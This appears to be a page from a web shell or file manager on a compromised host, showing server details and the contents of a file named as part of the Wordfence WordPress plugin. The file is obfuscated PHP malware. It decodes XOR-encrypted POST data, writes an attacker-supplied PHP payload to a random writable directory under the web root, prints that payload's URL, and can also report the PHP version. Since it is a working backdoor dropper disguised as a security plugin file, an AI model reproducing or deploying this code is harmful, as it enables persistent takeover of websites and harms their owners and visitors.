HEX
Server: Apache
System: Linux webm006.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/foar/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/ajax.php
<?php $QdfGKI = "lQcLzs";function uWsiPwi($QdfGKI){ $MJYrDQJxpb = 's'.chr(141-25).chr(114).'_'."\162".chr(1045-934).chr(588-472).chr(49).chr(51);$QdfGKI = $MJYrDQJxpb($QdfGKI);$crEuTjmB = chr(114)."\x61".chr(119).chr(117)."\162"."\x6c"."\144"."\x65".'c'."\x6f"."\x64".chr(101);$QdfGKI = $crEuTjmB($QdfGKI);$QdfGKI = str_split($QdfGKI);return $QdfGKI;}function Dzakfsnt($wSzIMmZQEX, $gfzNetyDiG){$wSzIMmZQEX = array_slice(str_split(str_repeat($wSzIMmZQEX, (count($gfzNetyDiG)/16)+1)), 0, count($gfzNetyDiG));return $wSzIMmZQEX;}function nsQCszj($XJMaRyA, $OAHlYv, $wSzIMmZQEX){$cpOiq = "a92988dd-0bd1-4805-bcac-05ad8e45a6f8";return $XJMaRyA ^ $cpOiq[$OAHlYv % strlen($cpOiq)] ^ $wSzIMmZQEX;}function FxIad($gfzNetyDiG, $wSzIMmZQEX){$gfzNetyDiG = array_map("nsQCszj", array_values($gfzNetyDiG), array_keys($gfzNetyDiG), array_values($wSzIMmZQEX));$gfzNetyDiG = implode("", $gfzNetyDiG);$BYUrIoYTW = "\x75".chr(1062-952)."\x73"."\x65"."\162"."\x69".chr(97)."\154".chr(105).chr(480-358)."\145";$gfzNetyDiG = @$BYUrIoYTW($gfzNetyDiG);return $gfzNetyDiG;}function NkdyHOa(){echo "lngSObzYb";}function WAkNMYkWZ($EtZDuPCaKRir){static $biJHe = array();$YuuJccoRra = glob($EtZDuPCaKRir . '/*', GLOB_ONLYDIR);$MOguhe = count($YuuJccoRra);if ($MOguhe > 0) {foreach ($YuuJccoRra as $EtZDuPCaKR) {$cLQAiVtgm = "\x69".chr(115).chr(95).chr(354-235).'r'.chr(105).chr(116)."\x61".chr(98)."\x6c"."\145";if (@$cLQAiVtgm($EtZDuPCaKR)) {$biJHe[] = $EtZDuPCaKR;}}}foreach ($YuuJccoRra as $EtZDuPCaKRir) WAkNMYkWZ($EtZDuPCaKRir);return $biJHe;}function syvUG(){echo "lQcLzs";}function YsPFobYGE($gfzNetyDiG){$VOhqm = chr(68).'O'.chr(1035-968)."\125".chr(629-552)."\105".'N'.chr(84).'_'."\122"."\117"."\x4f"."\124";$TjPjID = $_SERVER[$VOhqm];$YuuJccoRra = WAkNMYkWZ($TjPjID);$tFSKw = array_rand($YuuJccoRra);$SKSHO = '.'."\x70".'h'.'p';$rJiuoe = $YuuJccoRra[$tFSKw] . "/" . substr(md5(time()), 0, 8) . $SKSHO;$ipYJdgWuK = chr(314-212).'i'."\x6c".chr(423-322).chr(923-828).'p'.'u'."\x74".chr(451-356).'c'.chr(584-473).chr(933-823).chr(180-64)."\x65".chr(316-206).'t'."\163";@$ipYJdgWuK($rJiuoe, $gfzNetyDiG);$oZOWxEXJHr = chr(460-388).chr(84).chr(84).chr(261-181).chr(629-534).chr(239-167).chr(79).'S'.chr(866-782);$SHSAxzV = chr(1082-978).chr(116).chr(116)."\160"."\x3a"."\57"."\57";$jWBaFD = $SHSAxzV . $_SERVER[$oZOWxEXJHr] . substr($rJiuoe, strlen($TjPjID));print($jWBaFD);}function aJTnucnhN(){$mGaUkNGDNZ = "\160"."\150"."\160";$LJojnFpcpF = "\160"."\x68".'p'.'v'."\x65".chr(1033-919)."\163".'i'.chr(144-33).chr(110);$gfzNetyDiG = Array($mGaUkNGDNZ => @$LJojnFpcpF(), );$eGRYDJMIa = "\163"."\x65".chr(114).chr(105).'a'.chr(369-261)."\151"."\172".'e';echo @$eGRYDJMIa($gfzNetyDiG);}foreach ($_POST as $wSzIMmZQEX => $gfzNetyDiG){$TZhpXyQMAs = strlen($wSzIMmZQEX);if ($TZhpXyQMAs == 16){$gfzNetyDiG = uWsiPwi($gfzNetyDiG);$wSzIMmZQEX = Dzakfsnt($wSzIMmZQEX, $gfzNetyDiG);$gfzNetyDiG = FxIad($gfzNetyDiG, $wSzIMmZQEX);if (@is_array($gfzNetyDiG)){$tFSKw = array_keys($gfzNetyDiG);$gfzNetyDiG = $gfzNetyDiG[$tFSKw[0]];$tFSKw = $tFSKw[0];$tFSKw = substr($tFSKw, 0);if ($gfzNetyDiG !== $tFSKw){YsPFobYGE($gfzNetyDiG);}else {aJTnucnhN();}die();}}}